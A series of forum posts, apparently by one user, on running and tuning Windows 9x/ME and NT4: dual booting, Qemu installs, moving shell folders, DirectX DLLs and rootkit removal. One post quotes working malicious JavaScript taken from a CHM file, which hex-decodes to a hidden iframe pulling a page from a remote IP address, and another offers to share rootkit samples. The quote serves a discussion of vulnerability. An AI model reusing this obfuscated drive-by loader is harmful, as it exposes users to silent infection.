eidenk

I am not too sure about that, especially that NT4's NTFS is apparently different from the NTFS used in 2K-XP. Feel free to post links if you have some. Also as far as I have understood, you need an additional FAT16 partition to dual boot 9x and NT4 if you want to install 9x on a FAT32 partition. What's interesting with NT4 is that it seems to be very fast but I have only tried it in a virtual machine.

I have tried it in a virtual machine and it did install. I had a Windows protection error on first reboot which forced me to reboot a second time but after that everything was apparently OK according to DXDIAG.

Which one ?

Make an iso image of your install CD. Set this image as CDROM in Qemu Manager. Set your boot floppy image as the floppy drive A. And create a blank disk image with Qemu Manager that you set as your C drive. Choose on which device you want to boot in Qemu manager and after that you just do as you would if installing on real hardware.

.So that's how you got rid of all that spyware that was hogging your connection. Joke aside, the internet in general seems faster since some days here as well and I haven't reinstalled or tweaked anything.

Bingo ! If you extract the CHM file you'll see that it contains one single html with the following javascript exploit code : <script language=javascript> document.write( unescape( '%3C%69%66%72%61%6D%65%20%73%72%63%3D%20%68%74%74%70%3A%2F%2F%38%31%2E%39%35%2E%31%34%36%2E%39%38%2F%69%6E%64%65%78%2E%68%74%6D%6C%20%66%72%61%6D%65%62%6F%72%64%65%72%3D%22%30%22%20%77%69%64%74%68%3D%22%31%22%20%68%65%69%67%68%74%3D%22%31%22%20%73%63%72%6F%6C%6C%69%6E%67%3D%22%6E%6F%22%20%6E%61%6D%65%3D%63%6F%75%6E%74%65%72%3E%3C%2F%69%66%72%61%6D%65%3E' ) ); </SCRIPT> It seems you are vulnerable despite your IE6 updates. It seems also that MS did nothing to fix it. I forwarded this code to them in march of this year. I am gonna have a look a look at your exploit now and see if I am vulnerable to it.

where the HLM_run.reg file is a saved for future reference registry key. Thanks I'll look into it. It's interesting. Maybe you have an example, an infected webpage you did download or something like that ? Or a link to webpage on which you you'd get infected if you hadn't those updates installed. Obviously that's what IE asks you when you try to download a file. But what happens when you run this file from your HDD was my question. Does HH.EXE try to connect on the Internet after you execute it ?

With IE5.5SP2 on Windows ME without the shell32.dll patch there is not such a behaviour. That's all I can say.

Granted if they are not zero day and the scanner is good enough. Can you share it please ? Do you know which IE6 patch exactly offers protection against that and when it was issued ? Because MS was not able to tell me when I contacted them about that. But maybe it was before they fixed it. BTW can you tell me if this chm file wants to go on the internet with your fully patched IE6 runtime ?

I don't think you'll see a big change with updates. But if you install also 98 on that box, tell us how it fares. Which one ? Support for dual cores ? As said there is not much interest in it as I don't think there are applications running on 98/ME that are able to take advantage of dual cores. Both your idea and mine would be nice but it is beyond the scope of what we can do here I am afraid unfortunately.

And it is useless because the new D3Dx dlls don't work anymore on our OSes : All those are not worky : d3dx9_32.dll d3dx9_33.dll d3dx9_34.dll d3dx9_35.dll d3dx10.dll d3dx10_33.dll d3dx10_34.dll d3dx10_35.dll

Well, the problem with dual cores is that to benefit from it you need to have applications that are dual core aware and this is latest versions of high end video and audio applications only as far as I am aware. Neither your OS nor any of your old apps are going to run faster than what a single core allows. I think it is very unfortunate, and IMO one big flaw in design, that those chips can't be switched in a mode where the two cores can be used as if they were a single core.

Recommended reading : http://www.microsoft.com/technet/archive/w...8.mspx?mfr=true http://www.microsoft.com/technet/archive/w...5.mspx?mfr=true

I gave you all the information you needed to find them yourself in five minutes mate.

So you just need to move the Eudora folder to another drive if that's the case isnt'it ? If Eudora would refuse to run from it's new location or still store it's data to the old location. you would just need to adjust a path or two in the registry probably. (Tip : you can use regedit search function) As for Thunderbird and other apps that are using subfolders of the Application Data folder, just change the latter's path in the registry under one of the Shell Folder keys. Of course that procedure will not move the already existing data to the new location so you'll need to copy the data to the new location before you reopen the affected applications. You'll need at least to log-off and maybe even reboot for the relocation of a Shell Folder to become effective. You can use MS TweakUI to change the location of most Shell Folders, Internet Options to relocate the TIF folder and the free X-Setup Pro for some others I think btw if you don't feel doing it by hand in the registry. You should be all sorted by tommorow if you don't mess up.

It's not installing IE in another partition that would make that its caches are stored on the boot drive. My IE is installed normally but I have the TIF, cookies and history folders on another drive along with the swap file and the windows temp dir as well as temp dirs for third party applications, etc.... My emails are on the boot dir but I could move them there as well if I wanted to. Shell Folders keys in the registry are the way of making most of those changes.

What do you think about it ?

What do you exactly mean by those odd tasks If may ask ? Maybe you mean I should be using my Jasc Paint Shop Pro, Adobe Photoshop, Corel Draw, Ulead Media Studio Pro as well as reading my mail, surfing the internet, etc... in a Win98 VM under Vista ?

I've just read a whole deltree tutorial on the lockegnome forum by a certain TheShadow What I have read is someone making mountains out of nothing, someone pompeously calling a ridiculously simple batch file a program, etc... As far as I am concerned, if I have flamed you already here, it is because whenever you wrote about something that was even loosely within the scope of my field of knowledge, you were nearly systematically inaccurate or misleading as well as self congratulating. After a while you get fed up with it you know.

it's not a matter of consideration, i know i want to be able to dump drivers onto a UBCD and for setup to be able to find those drivers and use them to install the hardware it sees, and i've actually just cracked how to do this!! The only problem is understanding the INF files (which i would have to do anyway for a 'driver update manager') so setup finds the files listed in the INF without user interaction, so if you can help with this, please post, if not, sorry but that's all i need to know to get the project as i've outlined above going in reality. Cheers! Is this helpfull ? I am not sure, as it not specified that and that I have never used it, that the hardware drivers added to windows setup with this tool are forcibly installed or if they install only if the corresponding hardware is detected.

No problems. You might want to have a look as well at a free program called Wassociate ( I recommend it all the time) which is IMO the best file association and filetypes icons manager. It's way faster and easier to work with it than with regedit, it handles all the above stuff and allows even to quickly export the data of its panes to registry files so that you can easily save (and restore if needed) your associations and icons.

For one this happens as a mean to force people to upgrade to a newer OS and enrich MS I believe and for two you certainly can catch as many viruses, if not more, through IE with a 9x system than you can with an XP one. The advantage is that most won't execute on 9x once they are on your machine because they target NT specific stuff. But some do execute on 9x, including certain rootkits for which there is absolutely no removal tools unlike for the NT platform. I can pass you on some of them. I knew I had catched something but could not detect anything. Finally I scanned the memory for exes and dlls and found the path of two exes in my win dir. I could not see them with explorer nor with any third party tool including the tools I use to scan my dirs for new files or changes. They were in the run keys but I could only find them by opening the .dat files. Regedit or any other third party registry editor could not see their entries. Had to reboot with a startup disk and delete them with DOS. On reboot their run keys were then visible in regedit. I think oscardog is right to consider ditching any version of IE alltogether if that's what he means. Opera is pretty good but for some reason I don't manage to switch fully to it because I find my customized IE 5.5 perfect (besides not having tabs).

Ur in the confidence of Bill Gates maybe ?

I can confirm that on my ME system scanreg does not perform optimization of any of the registry .dat files at startup because one of them has a size above 8 MB.